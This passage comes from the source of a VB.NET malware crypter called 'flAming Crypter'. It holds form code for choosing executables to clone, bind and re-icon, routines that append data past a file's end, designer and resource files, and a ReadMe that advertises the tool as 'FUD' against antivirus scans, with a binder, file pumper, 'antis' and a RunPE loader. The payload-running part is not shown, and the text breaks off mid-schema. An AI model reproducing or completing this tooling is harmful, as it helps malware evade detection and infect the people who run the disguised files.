TextIcon.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
Dim myfkey As String = GetRandom.ToString
|
||||
TextEnc.Text = myfkey
|
||||
CreateObject("SAPI.SpVoice").Speak("Welcome to flAming Crypter")
|
||||
End Sub
|
||||
|
||||
Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
|
||||
Dim random As New Random()
|
||||
Return random.Next(min, max)
|
||||
End Function
|
||||
|
||||
Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
|
||||
Dim builder As New StringBuilder()
|
||||
Dim random As New Random()
|
||||
Dim ch As Char
|
||||
Dim i As Integer
|
||||
For i = 0 To size - 1
|
||||
ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
|
||||
builder.Append(ch)
|
||||
Next i
|
||||
If lowerCase Then
|
||||
Return builder.ToString().ToLower()
|
||||
End If
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
|
||||
Public Function GetRandom() As String
|
||||
Dim builder As New StringBuilder()
|
||||
builder.Append(RandomString(4, True))
|
||||
builder.Append(RandomNumber(1000, 9999))
|
||||
builder.Append(RandomString(2, False))
|
||||
Return builder.ToString()
|
||||
End Function
|
||||
|
||||
|
||||
Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe"
|
||||
.ShowDialog()
|
||||
TextClone.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub BtnBind_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBind.Click
|
||||
With OpenFileDialog1
|
||||
.FileName = ""
|
||||
.Filter = "Executable(*.exe)|*.exe"
|
||||
.ShowDialog()
|
||||
TextBind.Text = .FileName
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Public Function ReadEOFData(ByRef FilePath As String) As String
|
||||
On Error GoTo Err_Renamed
|
||||
Dim sEOFBuf, sFileBuf, sChar As String
|
||||
Dim lPos2, lFF, lPos, lCount As Integer
|
||||
If Dir(FilePath) = "" Then GoTo Err_Renamed
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
sFileBuf = Space(LOF(lFF))
|
||||
FileGet(lFF, sFileBuf)
|
||||
FileClose(lFF)
|
||||
lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
|
||||
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
|
||||
ReadEOFData = StrReverse(sEOFBuf)
|
||||
If ReadEOFData = "" Then
|
||||
End If
|
||||
Exit Function
|
||||
Err_Renamed:
|
||||
ReadEOFData = vbNullString
|
||||
End Function
|
||||
|
||||
Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String)
|
||||
Dim sFileBuf As String
|
||||
Dim lFF As Integer
|
||||
On Error Resume Next
|
||||
If Dir(FilePath) = "" Then Exit Sub
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
sFileBuf = Space(LOF(lFF))
|
||||
FileGet(lFF, sFileBuf)
|
||||
FileClose(lFF)
|
||||
Kill(FilePath)
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
FilePut(lFF, sFileBuf & EOFData)
|
||||
FileClose(lFF)
|
||||
End Sub
|
||||
|
||||
Public Function GetNullBytes(ByRef lNum As Object) As String
|
||||
Dim sBuf As String
|
||||
Dim i As Short
|
||||
For i = 1 To lNum
|
||||
sBuf = sBuf & Chr(0)
|
||||
Next
|
||||
GetNullBytes = sBuf
|
||||
End Function
|
||||
|
||||
Private Sub CheckClone_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckClone.CheckedChanged
|
||||
If CheckClone.Checked = True Then
|
||||
BtnClone.Enabled = True
|
||||
ElseIf CheckClone.Checked = False Then
|
||||
BtnClone.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CheckIcon_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckIcon.CheckedChanged
|
||||
If CheckIcon.Checked = True Then
|
||||
BtnIcon.Enabled = True
|
||||
ElseIf CheckIcon.Checked = False Then
|
||||
BtnIcon.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CheckBind_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBind.CheckedChanged
|
||||
If CheckBind.Checked = True Then
|
||||
BtnBind.Enabled = True
|
||||
ElseIf CheckBind.Checked = False Then
|
||||
BtnBind.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
Private Sub frmMain_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
|
||||
Form2.Close()
|
||||
End Sub
|
||||
End Class
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form2
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form2))
|
||||
Me.Label1 = New System.Windows.Forms.Label
|
||||
Me.Button1 = New System.Windows.Forms.Button
|
||||
Me.Button2 = New System.Windows.Forms.Button
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.Location = New System.Drawing.Point(12, 9)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(352, 325)
|
||||
Me.Label1.TabIndex = 0
|
||||
Me.Label1.Text = resources.GetString("Label1.Text")
|
||||
Me.Label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter
|
||||
'
|
||||
'Button1
|
||||
'
|
||||
Me.Button1.Image = CType(resources.GetObject("Button1.Image"), System.Drawing.Image)
|
||||
Me.Button1.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
|
||||
Me.Button1.Location = New System.Drawing.Point(323, 337)
|
||||
Me.Button1.Name = "Button1"
|
||||
Me.Button1.Size = New System.Drawing.Size(46, 23)
|
||||
Me.Button1.TabIndex = 1
|
||||
Me.Button1.Text = "Exit"
|
||||
Me.Button1.TextAlign = System.Drawing.ContentAlignment.MiddleRight
|
||||
Me.Button1.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Button2
|
||||
'
|
||||
Me.Button2.Image = CType(resources.GetObject("Button2.Image"), System.Drawing.Image)
|
||||
Me.Button2.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
|
||||
Me.Button2.Location = New System.Drawing.Point(274, 337)
|
||||
Me.Button2.Name = "Button2"
|
||||
Me.Button2.Size = New System.Drawing.Size(43, 23)
|
||||
Me.Button2.TabIndex = 2
|
||||
Me.Button2.Text = "Ok"
|
||||
Me.Button2.TextAlign = System.Drawing.ContentAlignment.MiddleRight
|
||||
Me.Button2.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Form2
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(381, 363)
|
||||
Me.Controls.Add(Me.Button2)
|
||||
Me.Controls.Add(Me.Button1)
|
||||
Me.Controls.Add(Me.Label1)
|
||||
Me.Name = "Form2"
|
||||
Me.ShowIcon = False
|
||||
Me.Text = "Read Me"
|
||||
Me.ResumeLayout(False)
|
||||
Me.PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents Button1 As System.Windows.Forms.Button
|
||||
Friend WithEvents Button2 As System.Windows.Forms.Button
|
||||
End Class
|
||||
@@ -0,0 +1,182 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="Label1.Text" xml:space="preserve">
|
||||
<value>Hello and welcome to flAming Crypter!
|
||||
|
||||
flAming Crypter is made in VB.NET so it requires .NET framework to work.
|
||||
|
||||
flAming Crypter is FUD Scantime+Runtime crypter.
|
||||
|
||||
flAming Crypter has been tested and works on Windows XP/7/Vista.
|
||||
|
||||
It has 2 encryption methods, RC4 and TripleDES.
|
||||
|
||||
Everytime the crypter starts there is a new encryption key.
|
||||
|
||||
It has built in an icon changer, file cloner, binder, file pumper, antis.
|
||||
|
||||
Made by flAmingw0rm.
|
||||
|
||||
Special Thanks to: t0fx (The source code, RunPE are made by him)
|
||||
|
||||
I just edited a few things and added EOF support!
|
||||
|
||||
Thanks to:
|
||||
Romeo
|
||||
RedTube
|
||||
|
||||
~ Enjoy ~</value>
|
||||
</data>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="Button1.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
|
||||
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAjRJREFUOE+Vk+1P
|
||||
UmEYxl1b21l/Q0W5msuT01xvpoBHRYhp2qa8C8IhURMQOIOhxKoPtfWX9HdpVsabkRzg8ByubjDQs2Mf
|
||||
/PBsz3ae63ff93XdZwDAwFVOY128cfG9VixlDJAy/P+AjUCIr3vX4jWH29R7cw7oiDN7aKezUONJHaTh
|
||||
D/KNYBjNzW38eb3ytbq49KADOQP8EyP/AW06akJCa2unD6mvrfNUHa1oHMjl0bmfWO3x8ozl2hkgleba
|
||||
CUlt770DPn+Bms11AGgGRb7uC/BUHcpODKDv9UAQJ/MvWVmYu37eAUHUWIJjb2NMlTLAx09gqTQaoTCo
|
||||
OpTtKJDd794rFhuJZzm9BwRpRba4prjBWtFdIP8e2M+TMAdksqj7/KjMWVl5eqYv1nTQI1K7nOxZU5Gl
|
||||
cbx+wOUFpDQqs/NqySxoxJcCZLevExVAacDhBlacwG6S5rahMDGlS0ezB7LLy8seH5RwBEhKJEwBMRqH
|
||||
DKyvOlE2mvFzbFwD6QNqTg8vu71QxA2AYpRdHpBZrDhlUk8Xl4HIJmqvllF4/BRHQ8N9SBdAm8VTdSih
|
||||
N1Q1AZlaJ7NYcdLEFZ5NcMfjT1jVYgVCIk5tdhyPjOLwzmAX0gXQZgk1hwtKUIS86gKZxYovjH3DfoyM
|
||||
cd+HH7LfZgGyfQG/Rh/h4JZB0JhImyVUF5ZQMk2rZJbO7aP7Q9y3wXvsoliXQsloFgrPJ3XiXsSHhrvc
|
||||
wc3b3cqXLtJVfuve279yu6THdnerNQAAAABJRU5ErkJggg==
|
||||
</value>
|
||||
</data>
|
||||
<data name="Button2.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
|
||||
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAqdJREFUOE9tU01L
|
||||
alEU9fkDnPsT/BcNnDgJ0omYkyyIEosmRYpSlkQUNDAHpU+KLCMVVFBRTO3LPm9ZlCSmA00uCTlylvfu
|
||||
t/cBrR4K6r3nnLX2Wmvv8wcAJP0+d3d3o51ORy8IguTr68s3MDDwt+9BIuh+Hx8fFff397Lb21vp5eVl
|
||||
s9FowPv7OwSDwWY8HpdGo1FZKBRS/MT8BLsRLNzc3PD5fF5+enrKV6tVqFQqgEA+EonIkYj3+/3C3t6e
|
||||
u0vCCAqFguXt7Q0+Pz+hXC4DgtuZTEYsFovw/PwM4XBYRHAblQHP85BIJGBtbc3C7NMPVrWen5+LREKA
|
||||
UqnEiLoE9P709AREcHV1BfPz8+LMzIy1R0APFxcXDgJjeHB9fQ2pVAo8Hg/s7u6SIkBbcHJywqqvrq46
|
||||
ehaQkcPq9Vwu13p9fQWO4yCdToPdbs/Pzc0pbTabcmNjI392dsaIaH99fb21srJSX1pa4iQIFj4+Pphc
|
||||
qoxBwv7+PiwvLyu7Vba3t5WYAeBZpozUULhGo1GQZLNZoVarMY+0QRUwcXA6nT0Cl8ulPDw8ZArIAqpl
|
||||
50dGRgQJtoRDifWdnZ3Ww8MDI6EcvF5vfmtrS7m5uckskH+ylkwmYWxsrKXVausajYbrzQFKdGCQLCj6
|
||||
x0GCo6MjwL6zNWwrxGIxtjYxMfEdIvkMBALWg4MD8eXlhYGpXTiVLBMiIkW0fnx8zPampqbE8fHx7zb6
|
||||
fD4LyaPJQyLAdNsOh0Ok0Mi3yWQSEdSmPfK+sLAAarX6e5BIxeLiont6elpAf/zs7KwcSXiqRgoMBgOv
|
||||
0+nk6JsfHBwUVCrV71HutgsJFJOTkzKz2SxFwiZJxnsAw8PDTSSQ6vV6GRL0v0w/bxg9o+xRrJgdGhrK
|
||||
otzR//e77/8AFBLAlvw+qL4AAAAASUVORK5CYII=
|
||||
</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,12 @@
|
||||
Public Class Form2
|
||||
|
||||
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
|
||||
Form1.Close()
|
||||
Me.Close()
|
||||
End Sub
|
||||
|
||||
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
|
||||
Me.Hide()
|
||||
Form1.Show()
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.flAmingCrypter.Form2
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form2</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("flAming Crypter")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("")>
|
||||
<Assembly: AssemblyProduct("")>
|
||||
<Assembly: AssemblyCopyright("")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("e56b6721-eea5-41c2-8f5b-6da97bbcc818")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,63 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("flAmingCrypter.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
